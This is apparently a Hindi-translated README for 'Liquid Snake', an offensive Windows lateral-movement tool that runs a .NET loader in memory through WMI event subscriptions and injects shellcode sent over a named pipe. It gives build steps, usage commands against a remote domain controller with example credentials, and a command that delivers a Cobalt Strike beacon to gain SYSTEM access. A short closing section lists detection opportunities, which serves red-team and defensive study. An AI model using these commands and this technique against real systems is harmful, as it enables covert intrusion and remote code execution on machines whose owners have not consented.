
फ़ाइललेस लेटरल मूवमेंट टूल जो मेमोरी में .NET असेंबली निष्पादित करने के लिए WMI ईवेंट सब्सक्रिप्शन का उपयोग करता है, रिमोट विंडोज़ समझौते के लिए नेम्ड पाइप के माध्यम से शेलकोड इंजेक्शन के साथ।
Liquid Snake एक प्रोग्राम है जो विंडोज सिस्टम में डिस्क को छुए बिना लेटरल मूवमेंट करने के उद्देश्य से बनाया गया है। यह टूल .NET असेंबली को मेमोरी में निष्पादित करने के लिए WMI इवेंट सब्सक्रिप्शन पर निर्भर करता है, .NET असेंबली एक नामित पाइप पर शेलकोड के लिए सुनेगी और फिर थ्रेड हाईजैकिंग शेलकोड इंजेक्शन की एक भिन्नता का उपयोग करके इसे निष्पादित करेगी।
नीचे दिया गया आरेख (उम्मीद है) डेटा प्रवाह को स्पष्ट करता है:

यह प्रोजेक्ट दो अलग-अलग समाधानों से बना है:
CSharpNamedPipeLoader - वह घटक जो GadgetToJScript के माध्यम से VBS में रूपांतरित किया जाएगाLiquidSnake - दूरस्थ सिस्टम पर WMI इवेंट सब्सक्रिप्शन बनाने के लिए जिम्मेदार घटकबस दोनों समाधानों को विजुअल स्टूडियो में खोलें और उन्हें बनाएं। CSharpNamedPipeLoader के लिए x64 आर्किटेक्चर को लक्षित करना सुनिश्चित करें। यदि सब कुछ ठीक रहा, तो आपके पास दो अलग-अलग EXE होंगे: CSharpNamedPipeLoader.exe और LiquidSnake.exe
GadgetToJscript का उपयोग करके, निम्न कमांड के साथ CSharpNamedPipeLoader.exe को VBS में परिवर्तित करें:
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs
cscript.exe का उपयोग करके .NET डिसीरियलाइज़ेशन का परीक्षण करें और सुनिश्चित करें कि सब कुछ अपेक्षित रूप से काम करता है:
cscript.exe test.vbs
फिर, vbs फ़ाइल को base64 एन्कोड करें और इसे LiquidSnake के Program.cs में पंक्ति 29 पर vbscript64 वेरिएबल में डालें।
मैंने यह आपके लिए पहले ही कर दिया है, इसलिए आप बस LiquidSnake समाधान को संकलित कर सकते हैं और इसका उपयोग वैसे ही कर सकते हैं।
इस प्रोजेक्ट का उपयोग सीधा है, एक होस्ट के विरुद्ध LiquidSnake.exe का उपयोग करें जहां आपके पास प्रशासनिक पहुंच है, इस प्रकार:
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
नोट: वर्तमान में जब आप स्पष्ट रूप से उपयोगकर्ता क्रेडेंशियल सेट करते हैं तो एक बग है, उस स्थिति में टूल काम नहीं करेगा। इसके बजाय make_token या किसी अन्य प्रतिरूपण तंत्र का उपयोग करने की सिफारिश की जाती है।
यदि सब कुछ ठीक रहा, तो आपको निम्न के समान आउटपुट मिलना चाहिए:
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
उपरोक्त उदाहरण LiquidSnake को लॉन्च करने के लिए CobaltStrike के execute-assembly का उपयोग करता है:

इस बीच, दूरस्थ होस्ट में निम्न नाम के साथ एक नया नामित पाइप बनाया जाएगा:
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

फिर, मेरे send_shellcode_via_pipe प्रोजेक्ट मेरे BOFs से का उपयोग करके, आप दूरस्थ पाइप पर एक मनमाना शेलकोड भेज सकते हैं जो लोड और निष्पादित किया जाएगा:
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin

यदि सब कुछ अपेक्षित रूप से काम करता है, तो आपको एक SYSTEM बीकन मिलना चाहिए:

नोट: वर्तमान LiquidSnake संस्करण में GadgetToJScript द्वारा उत्पन्न आर्टिफैक्ट है जो .NET संस्करण 4.x को लक्षित करता है। यदि आपके लक्ष्य होस्ट पर केवल 3.5 स्थापित है, तो यह विफल हो जाएगा। बस उसी प्रक्रिया को दोहराएं लेकिन GadgetToJScript बनाते समय उपयुक्त .NET संस्करण का उपयोग करें।
इस टूल के दुरुपयोग और सामान्य रूप से इस तकनीक के उपयोग की पहचान करने के कई पहचान के अवसर हैं:
scrcons.exe प्रक्रिया से संबंधित clr.dll के लिए मॉड्यूल लोड इवेंटscrcons.exe प्रक्रिया से संबंधित एक नामित पाइप का निर्माणइसके अलावा, विशिष्ट कार्यान्वयन का सबसे बड़ा दोष यह है कि शेलकोड SMB पर स्पष्ट पाठ में भेजा जाता है। इसका मतलब है कि यदि कोई नेटवर्क मॉनिटर समाधान उस ट्रैफिक का निरीक्षण करने में सक्षम है, तो संभावना है कि यह अलग दिखाई देगा। मैंने zeek/bro नियमसेट के खिलाफ अधिक परीक्षण नहीं किया है, लेकिन मुझे काफी भरोसा है कि यह तुरंत पकड़ा जाएगा।
detection-artefacts फ़ोल्डर में मैंने Wireshark कैप्चर की PCAP फ़ाइल और हमले के दौरान उत्पन्न Sysmon इवेंट (Swift On Security की डिफ़ॉल्ट कॉन्फ़िगरेशन का उपयोग करके) छोड़े हैं।